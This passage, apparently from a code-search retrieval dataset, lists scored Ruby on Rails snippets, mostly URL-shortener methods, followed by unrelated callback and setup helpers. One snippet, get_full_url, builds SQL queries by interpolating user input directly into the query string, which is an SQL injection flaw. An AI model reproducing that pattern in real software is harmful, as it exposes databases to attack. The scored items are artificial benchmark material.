short_url_method\n end", "title": "" }, { "docid": "7025820464343fb0ac2054dff4c29a53", "score": "0.665541", "text": "def short_url(url, req: request, owner: nil, custom_key: nil,\n expires_at: nil, fresh: false, meta: nil, url_options: {},\n related_id: nil, source_type: nil)\n short_url = Shortener::ShortenedUrl.generate(url,\n owner: owner,\n custom_key: custom_key,\n expires_at: expires_at,\n fresh: fresh,\n meta: meta,\n related_id: related_id,\n source_type: source_type)\n\n if short_url\n options = {\n controller: 'shortener/shortened_urls',\n action: :show,\n id: short_url.unique_key,\n only_path: false,\n host: req.host,\n protocol: req.protocol\n }\n options.merge!({ port: req.port }) unless req.port == DEFAULT_HTTP_PORT\n\n Rails.application.routes.url_for(options.merge(url_options))\n else\n url\n end\n end", "title": "" }, { "docid": "92e434892f8e3784c73adf596c60db30", "score": "0.6651179", "text": "def shortend_url\n create(:shortend_url, creator_id: guest_user.id)\n end", "title": "" }, { "docid": "868d394de497562f42eaedbdcba1ded6", "score": "0.66499", "text": "def create_short_url\n begin\n long_url = params[:long_url]\n if (long_url =~ /\\A#{URI::regexp}\\z/).eql? nil #checking the url validity with URI regex, if it is valid it returns zero otherwise nil\n render :json => {:status => 'failure', :msg => 'Please provide a valid URL'}\n else\n url = ShortUrl.create_short_link(params[:long_url])\n render :json => {:status => 'success', :short_url => url.short_url, :long_url => url.long_url}\n end\n rescue Exception => e\n logger.error { \"Error while creating short link. Params: #{params.inspect}, ErrorMessage: #{e.message}\" }\n render :json => {:status => 'error', :url => index_path}\n end\n end", "title": "" }, { "docid": "79b19a3a46e274e0fcb0a92629b56460", "score": "0.66495585", "text": "def shorten\n\t\t\n\t\tself.short = \"#{rand(65..90).chr}#{rand(65..90).chr}#{rand(65..90).chr}\"\n\t\t# self.new(long: params[:long_url], short: short_url)\n\tend", "title": "" }, { "docid": "6a296e6ed561f939652dba812bbaf360", "score": "0.66464806", "text": "def get_full_url short_url\n result_set = select(\"select original_url from urls where short_urls = '#{short_url}'\")\n row = result_set.next_hash\n\n if !row.nil?\n orig_url = row[\"original_url\"]\n uri = URI.parse(orig_url)\n\n insert(\"insert into visits (short_urls, visited_at) values ('#{short_url}', datetime('now'))\")\n\n if uri.scheme.nil?\n uri.scheme = \"http\"\n return \"#{uri.scheme}://#{orig_url}\"\n else\n return orig_url\n end\n end\n\n return @base_url\n end", "title": "" }, { "docid": "04a01d659a42b7d96cb08b0a9b3a16b0", "score": "0.6645457", "text": "def create\n @url = Url.new(url_params)\n\n respond_to do |format|\n if @url.save\n format.html { redirect_to urls_path, notice: 'Url was successfully created.' }\n @url.new_short_url = \"#{request.base_url}/#{@url.new_short_url}\"\n format.json { render json: { response_status: 200, url: @url } }\n else\n format.html { render :new }\n format.json { render json: @url.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4157e90351a1c004d28a9bf09f23f0dc", "score": "0.66317225", "text": "def make_url!\n self.url = make_url\n end", "title": "" }, { "docid": "518b384dec92b493ce38a1f2c7d12cc0", "score": "0.66260976", "text": "def shorten_url\n return unless valid?\n\n token = Rails.application.credentials.bitly[:token]\n self.shortened = Bitly::API::Client\n .new(token: token)\n .shorten(long_url: url)\n .link\n end", "title": "" }, { "docid": "bda34a6c7d72d0f6cfbef7e9f4a3587c", "score": "0.6624304", "text": "def fetch_short_url!\n bitly = Bitly.new(NewsMonster.config.bitly.username, NewsMonster.config.bitly.api_key)\n shortened = bitly.shorten(url)\n \n self.short_url = shortened.short_url\n self.global_hash = shortened.global_hash\n self.user_hash = shortened.user_hash\n end", "title": "" }, { "docid": "7bb8b54b4632061ae36ea16a1a1a008c", "score": "0.66213995", "text": "def set_shortenedurl\n @shortenedurl = Shortenedurl.find(params[:id])\n end", "title": "" }, { "docid": "3d656dc0cfbf7f30dab8b36dc13ac5c6", "score": "0.66075045", "text": "def set_short_url\n @short_url = ShortUrl.find(params[:id])\n end", "title": "" }, { "docid": "98e62950c727da9cf445503739401231", "score": "0.6607158", "text": "def get_shortened_url\n begin\n short_url = Net::HTTP.get(URI.parse(\"http://tinyurl.com/api-create.php?url=#{self.url}\"))\n self.shortened_url = short_url\n end\n end", "title": "" }, { "docid": "df82b3b75a84ae8f263d81788ea2609e", "score": "0.6600092", "text": "def generate_url\n if self.title.present?\n self.url = self.title.parameterize.underscore if (self.url.blank? or self.url == self.title_was.try(:parameterize).try(:underscore))\n end\n end", "title": "" }, { "docid": "9eaafa6d9854ff7fc3faaaaf1ce408cb", "score": "0.659414", "text": "def create\n\t\t@url = Url.new(params[:url])\n\t\t\n\t\tif @url.save\n\t\t\t@last_url = Url.order(\"created_at\").last\n\t\t\t@new_encoded = bijective_encode(@last_url.id)\n\t\t\tflash[:notice] = \" The shortened url is: http://shortapp.herokuapp.com/urls/\"+@new_encoded\n\t\t\trespond_with(@url, :status => :created, :location => @url) do |format|\n\t\t\t\tformat.html { redirect_to root_path }\n\t\t\t\tformat.json { render json: {:msg => \" The shortened url is: http://shortapp.herokuapp.com/urls/\"+@new_encoded} }\n\t\t\tend\n\t\telse\n\t\t\trespond_with(@url.errors, :status => :unprocessable_entity) do |format|\n\t\t\t\tformat.html { render action: \"index\" }\n\t\t\t\tformat.json { render json: {:msg => \" The url you entered is invalid!\"} }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "cf7d10d92cddbe27850c34951b3f4444", "score": "0.6592647", "text": "def shorten_url(url)\n Rails.application.routes.url_helpers.shortener_translate_url(Shortener::ShortenedUrl.generate(url))\n end", "title": "" }, { "docid": "37518f470d23b4633f83cf545064d170", "score": "0.65903056", "text": "def set_short_url\n @short_url = ShortUrl.find(params[:id])\n end", "title": "" }, { "docid": "37518f470d23b4633f83cf545064d170", "score": "0.65903056", "text": "def set_short_url\n @short_url = ShortUrl.find(params[:id])\n end", "title": "" }, { "docid": "27f58798939afcba5fe95fc056245de9", "score": "0.6576786", "text": "def short_original_url\n orig_url = ShortUrl.search_shorty(params[:short_url_id])\n if orig_url.exists?\n visitor_ip = find_remote_ip\n visitor_details = short_visit_location(visitor_ip)\n short_visit = ShortVisit.create(visitor_ip: visitor_details[\"ip\"], visitor_city: visitor_details[\"city\"], visitor_country_iso2: visitor_details[\"country\"][\"code\"], short_url_id: orig_url.first.id)\n ShortUrl.update_short_visit_counts(orig_url, orig_url.first.visit_counts+=1)\n redirect_to orig_url.first.original_url\n end\n end", "title": "" }, { "docid": "43820936af667621b5f04f6291caf974", "score": "0.65756214", "text": "def generate_short_url\n \n # Generate 3 arrays with lowercase, upper case and nums\n lower = ('a'..'z').to_a\n upper = ('A'..'Z').to_a\n num = ('0'..'9').to_a\n letters = lower.concat(upper)\n chars = letters.concat(num)\n\n # Get last short_url in db \n # If there is none, then start the short_url at 'a'\n if Link.last == nil\n last_short_url = \"a\"\n short_char = 0\n else\n\n # Grab last digit of short_url from last short url to account for double digit URLs\n last_short_url = Link.last.short_url[-1]\n\n # Add 1 to get the next index in the array and set the new short url\n short_char = chars.find_index(last_short_url) + 1\n end\n link = Link.find_by_short_url(chars[short_char])\n if link.nil? && short_char <= 61\n self.short_url = chars[short_char]\n else\n shuffled_chars = chars.shuffle[0,2].join\n self.short_url = shuffled_chars\n end\n end", "title": "" }, { "docid": "61bd62e75f9f110d6a70c4dfb9f30152", "score": "0.65646833", "text": "def create\n if not params[:short_url][:long].include? \"://\"\n params[:short_url][:long] = \"http://\" + params[:short_url][:long]\n end\n @short_url = ShortUrl.first(:conditions => { :long => params[:short_url][:long] })\n @short_url ||= ShortUrl.new(params[:short_url])\n\n respond_to do |format|\n if @short_url.save\n format.html { redirect_to(@short_url, :notice => 'Short url was successfully created.') }\n format.xml { render :xml => @short_url, :status => :created, :location => @short_url }\n format.js\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @short_url.errors, :status => :unprocessable_entity }\n format.js\n end\n end\n end", "title": "" }, { "docid": "e39737265f5cfa0412ab094986185adb", "score": "0.6552697", "text": "def create\n @url = ShortendUrl.new\n @url.original_url = params[:original_url]\n @url.sanitize\n if @url.is_new_url?\n if @url.save\n # add user details to the url created\n @url.add_user_details(request, false, true)\n redirect_to shortend_path(@url.short_url)\n else #unable to save the associated url\n flash[:error] = 'check the error below'\n render action: :index and return\n end\n else #if url is not new then redirect to already existed url page where user can access the previously created short url\n @url.add_user_details(request)\n flash[:notice] = 'A short link to this url is already present in database'\n redirect_to shortend_path(@url.find_duplicate.short_url)\n end\n end", "title": "" }, { "docid": "8b650863dcbe3f891f926f8d8bd1c424", "score": "0.653815", "text": "def generate_short_url\n # If short_url isn't set\n if !short_url.present?\n # Get total count of redirects\n short = Redirect.all.count || 1\n # Loop until we have a short_url that doesn't exist\n begin\n self.short_url = short + 1\n end while Redirect.exists?(short_url: self.short_url)\n end\n end", "title": "" }, { "docid": "5835ffac13836c6e0bdfc6452bce0f0f", "score": "0.65375346", "text": "def create\n @url = Url.new(url_params)\n @url.num_clicks = 0\n @url.short_url = helpers.generate_short_url\n @url.long_url = helpers.clean_up(@url.long_url)\n\n respond_to do |format|\n if @url.save\n format.html { redirect_to user_path(current_user), notice: \"Url was successfully created, short link: #{@url.short_url}\" }\n format.json { render :index, status: :created, location: @url }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @url.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fd19f3fa6aaa10cb2f4f459460d4499c", "score": "0.6535068", "text": "def create\n puts '----------------------'\n puts params \n # i got the longURL\n # I need the shortURL\n # I need to generate the shortURL\n shortUrl = SecureRandom.hex(10)\n url = Url.new(url_params)\n url.user_id = 1\n url.shortURL = shortUrl\n if url.save \n redirect_to '/urls'\n else\n redirect_to '/urls/new'\n end\n end", "title": "" }, { "docid": "67dc1752a9884d6b33819f19af0747ab", "score": "0.65345347", "text": "def create\n @url_short = UrlShort.new(url_short_params)\n o = [('a'..'z'), ('A'..'Z')].map(&:to_a).flatten\n string = (0...8).map { o[rand(o.length)] }.join\n @url_short.short_url = string\n\n\n respond_to do |format|\n if @url_short.save\n format.html { redirect_to @url_short, notice: 'Url short was successfully created.' }\n format.json { render :show, status: :created, location: @url_short }\n else\n format.html { render :new }\n format.json { render json: @url_short.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5ac01281222b6b9863d4fb4049ee7034", "score": "0.6526323", "text": "def create\n tiny_url = TinyUrl.find_or_initialize(full_url)\n if tiny_url.save\n render status: :ok, json: { shortend_url: shortend_url(tiny_url), message: t('api.tiny_urls.successfully_created') }\n else\n render status: :bad_request, json: { message: tiny_url.errors.full_messages }\n end\n end", "title": "" }, { "docid": "e57d642dc938f8dac7ac5f56e0579a8a", "score": "0.6515195", "text": "def set_short_url\n @short_url = ShortUrl.find_by_short_code(params[:id])\n end", "title": "" }, { "docid": "e78929c63812ab3ed6cab2314f31b440", "score": "0.65120035", "text": "def short_url\n self.id\n end", "title": "" }, { "docid": "594f62a91a92d89f7b2d22850440778a", "score": "0.6508567", "text": "def create\n url = Url.new(url_params)\n\n\t\tif url.save!\n\t\t\t# i should generate a short url\n\t\t\turl.update!(short_url: SecureRandom.base64(5).split(\"=\").first)\n\t\t\tredirect_to root_path\n\t\telse\n\t\t\trender :index\n\t\tend\n end", "title": "" }, { "docid": "7f1786ab1aa428ced5240b5688c940dc", "score": "0.6506549", "text": "def short_url_params\n params.permit(:original_url)\n end", "title": "" }, { "docid": "6d4bd21aa6b583871738ac6acfcd5b8b", "score": "0.64977735", "text": "def after_validation_on_create\n self.permalink = permalink.gsub(/[^a-z0-9]+/i, '-').downcase\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "ca8a67de3fcc79b02bd0f283b094d0cb", "score": "0.0", "text": "def set_incidentmanagement\n @incidentmanagement = Incidentmanagement.find(params[:id])\n end", "title": "" } ]
[ { "docid": "bd89022716e537628dd314fd23858181", "score": "0.6163927", "text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "title": "" }, { "docid": "3db61e749c16d53a52f73ba0492108e9", "score": "0.6046165", "text": "def action_hook; end", "title": "" }, { "docid": "b8b36fc1cfde36f9053fe0ab68d70e5b", "score": "0.59465253", "text": "def run_actions; end", "title": "" }, { "docid": "3e521dbc644eda8f6b2574409e10a4f8", "score": "0.59167755", "text": "def define_action_hook; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58904207", "text": "def actions; end", "title": "" }, { "docid": "bfb8386ef5554bfa3a1c00fa4e20652f", "score": "0.58346355", "text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "title": "" }, { "docid": "6c8e66d9523b9fed19975542132c6ee4", "score": "0.577713", "text": "def add_actions; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703502", "text": "def callbacks; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703502", "text": "def callbacks; end", "title": "" }, { "docid": "6ce8a8e8407572b4509bb78db9bf8450", "score": "0.56531286", "text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "title": "" }, { "docid": "1964d48e8493eb37800b3353d25c0e57", "score": "0.56215113", "text": "def define_action_helpers; end", "title": "" }, { "docid": "5df9f7ffd2cb4f23dd74aada87ad1882", "score": "0.54224145", "text": "def post_setup\n end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5410795", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5410795", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5410795", "text": "def action_methods; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.53924775", "text": "def before_setup; end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.5379919", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.53580743", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "0464870c8688619d6c104d733d355b3b", "score": "0.53401667", "text": "def define_action_helpers?; end", "title": "" }, { "docid": "0e7bdc54b0742aba847fd259af1e9f9e", "score": "0.53397506", "text": "def set_actions\n actions :all\n end", "title": "" }, { "docid": "5510330550e34a3fd68b7cee18da9524", "score": "0.5332605", "text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "title": "" }, { "docid": "97c8901edfddc990da95704a065e87bc", "score": "0.5312215", "text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "title": "" }, { "docid": "4f9a284723e2531f7d19898d6a6aa20c", "score": "0.5296594", "text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "title": "" }, { "docid": "210e0392ceaad5fc0892f1335af7564b", "score": "0.52965283", "text": "def setup_handler\n end", "title": "" }, { "docid": "83684438c0a4d20b6ddd4560c7683115", "score": "0.52957606", "text": "def before_actions(*logic)\n self.before_actions = logic\n end", "title": "" }, { "docid": "a997ba805d12c5e7f7c4c286441fee18", "score": "0.5259903", "text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "1d50ec65c5bee536273da9d756a78d0d", "score": "0.52443177", "text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.523896", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.523896", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.523896", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.523896", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.523896", "text": "def action; end", "title": "" }, { "docid": "e34cc2a25e8f735ccb7ed8361091c83e", "score": "0.52329034", "text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "title": "" }, { "docid": "635288ac8dd59f85def0b1984cdafba0", "score": "0.52322394", "text": "def workflow\n end", "title": "" }, { "docid": "78b21be2632f285b0d40b87a65b9df8c", "score": "0.5227445", "text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.5222394", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "923ee705f0e7572feb2c1dd3c154b97c", "score": "0.5220348", "text": "def process_action(...)\n send_action(...)\n end", "title": "" }, { "docid": "b89a3908eaa7712bb5706478192b624d", "score": "0.5212759", "text": "def before_dispatch(env); end", "title": "" }, { "docid": "7115b468ae54de462141d62fc06b4190", "score": "0.5207747", "text": "def after_actions(*logic)\n self.after_actions = logic\n end", "title": "" }, { "docid": "d89a3e408ab56bf20bfff96c63a238dc", "score": "0.5205933", "text": "def setup\n # override and do something appropriate\n end", "title": "" }, { "docid": "62c402f0ea2e892a10469bb6e077fbf2", "score": "0.5176468", "text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "title": "" }, { "docid": "72ccb38e1bbd86cef2e17d9d64211e64", "score": "0.5173833", "text": "def setup(_context)\n end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.5171983", "text": "def setup(resources) ; end", "title": "" }, { "docid": "1fd817f354d6cb0ff1886ca0a2b6cce4", "score": "0.51663405", "text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "title": "" }, { "docid": "5531df39ee7d732600af111cf1606a35", "score": "0.5159596", "text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "title": "" }, { "docid": "bb6aed740c15c11ca82f4980fe5a796a", "score": "0.5158247", "text": "def determine_valid_action\n\n end", "title": "" }, { "docid": "b38f9d83c26fd04e46fe2c961022ff86", "score": "0.51526845", "text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "title": "" }, { "docid": "199fce4d90958e1396e72d961cdcd90b", "score": "0.5152398", "text": "def startcompany(action)\n @done = true\n action.setup\n end", "title": "" }, { "docid": "994d9fe4eb9e2fc503d45c919547a327", "score": "0.5151361", "text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "title": "" }, { "docid": "62fabe9dfa2ec2ff729b5a619afefcf0", "score": "0.5145775", "text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.5140135", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "adb8115fce9b2b4cb9efc508a11e5990", "score": "0.51338995", "text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "title": "" }, { "docid": "e1dd18cf24d77434ec98d1e282420c84", "score": "0.51127726", "text": "def setup(&block)\n define_method(:setup, &block)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5112607", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5112607", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110613", "text": "def action\n end", "title": "" }, { "docid": "f54964387b0ee805dbd5ad5c9a699016", "score": "0.51067513", "text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "title": "" }, { "docid": "35b302dd857a031b95bc0072e3daa707", "score": "0.5092337", "text": "def config(action, *args); end", "title": "" }, { "docid": "bc3cd61fa2e274f322b0b20e1a73acf8", "score": "0.508788", "text": "def setup\n @setup_proc.call(self) if @setup_proc\n end", "title": "" }, { "docid": "5c3cfcbb42097019c3ecd200acaf9e50", "score": "0.5081578", "text": "def before_action \n end", "title": "" }, { "docid": "246840a409eb28800dc32d6f24cb1c5e", "score": "0.5080434", "text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "title": "" }, { "docid": "dfbcf4e73466003f1d1275cdf58a926a", "score": "0.50679874", "text": "def action\n end", "title": "" }, { "docid": "36eb407a529f3fc2d8a54b5e7e9f3e50", "score": "0.50567716", "text": "def matt_custom_action_begin(label); end", "title": "" }, { "docid": "b6c9787acd00c1b97aeb6e797a363364", "score": "0.5051213", "text": "def setup\n # override this if needed\n end", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.5048352", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.5048352", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "fd421350722a26f18a7aae4f5aa1fc59", "score": "0.5035347", "text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "title": "" }, { "docid": "d02030204e482cbe2a63268b94400e71", "score": "0.5026666", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "title": "" }, { "docid": "4224d3231c27bf31ffc4ed81839f8315", "score": "0.5023127", "text": "def after(action)\n invoke_callbacks *options_for(action).after\n end", "title": "" }, { "docid": "24506e3666fd6ff7c432e2c2c778d8d1", "score": "0.5016081", "text": "def pre_task\n end", "title": "" }, { "docid": "0c16dc5c1875787dacf8dc3c0f871c53", "score": "0.50129867", "text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "title": "" }, { "docid": "c99a12c5761b742ccb9c51c0e99ca58a", "score": "0.5000684", "text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "title": "" }, { "docid": "0cff1d3b3041b56ce3773d6a8d6113f2", "score": "0.4999752", "text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "title": "" }, { "docid": "791f958815c2b2ac16a8ca749a7a822e", "score": "0.49979812", "text": "def setup_signals; end", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.499026", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.499026", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "5aa51b20183964c6b6f46d150b0ddd79", "score": "0.49866846", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "title": "" }, { "docid": "7647b99591d6d687d05b46dc027fbf23", "score": "0.49800366", "text": "def initialize(*args)\n super\n @action = :set\nend", "title": "" }, { "docid": "67e7767ce756766f7c807b9eaa85b98a", "score": "0.49795717", "text": "def after_set_callback; end", "title": "" }, { "docid": "2a2b0a113a73bf29d5eeeda0443796ec", "score": "0.49771172", "text": "def setup\n #implement in subclass;\n end", "title": "" }, { "docid": "63e628f34f3ff34de8679fb7307c171c", "score": "0.4968475", "text": "def lookup_action; end", "title": "" }, { "docid": "a5294693c12090c7b374cfa0cabbcf95", "score": "0.4965813", "text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "title": "" }, { "docid": "57dbfad5e2a0e32466bd9eb0836da323", "score": "0.4958072", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "5b6d613e86d3d68152f7fa047d38dabb", "score": "0.49561292", "text": "def release_actions; end", "title": "" }, { "docid": "4aceccac5b1bcf7d22c049693b05f81c", "score": "0.4954901", "text": "def around_hooks; end", "title": "" }, { "docid": "2318410efffb4fe5fcb97970a8700618", "score": "0.49536785", "text": "def save_action; end", "title": "" }, { "docid": "64e0f1bb6561b13b482a3cc8c532cc37", "score": "0.4953058", "text": "def setup(easy)\n super\n easy.customrequest = @verb\n end", "title": "" }, { "docid": "fbd0db2e787e754fdc383687a476d7ec", "score": "0.49468648", "text": "def action_target()\n \n end", "title": "" }, { "docid": "b280d59db403306d7c0f575abb19a50f", "score": "0.49424478", "text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "title": "" }, { "docid": "9f7547d93941fc2fcc7608fdf0911643", "score": "0.4932989", "text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "title": "" }, { "docid": "da88436fe6470a2da723e0a1b09a0e80", "score": "0.49291888", "text": "def before_setup\n # do nothing by default\n end", "title": "" }, { "docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3", "score": "0.49273813", "text": "def default_action; end", "title": "" }, { "docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd", "score": "0.49271655", "text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "title": "" }, { "docid": "3ba85f3cb794f951b05d5907f91bd8ad", "score": "0.4925948", "text": "def setup(&blk)\n @setup_block = blk\n end", "title": "" }, { "docid": "80834fa3e08bdd7312fbc13c80f89d43", "score": "0.49236968", "text": "def callback_phase\n super\n end", "title": "" }, { "docid": "f1da8d654daa2cd41cb51abc7ee7898f", "score": "0.49203572", "text": "def advice\n end", "title": "" }, { "docid": "99a608ac5478592e9163d99652038e13", "score": "0.49181753", "text": "def _handle_action_missing(*args); end", "title": "" }, { "docid": "9e264985e628b89f1f39d574fdd7b881", "score": "0.49173692", "text": "def duas1(action)\n action.call\n action.call\nend", "title": "" }, { "docid": "399ad686f5f38385ff4783b91259dbd7", "score": 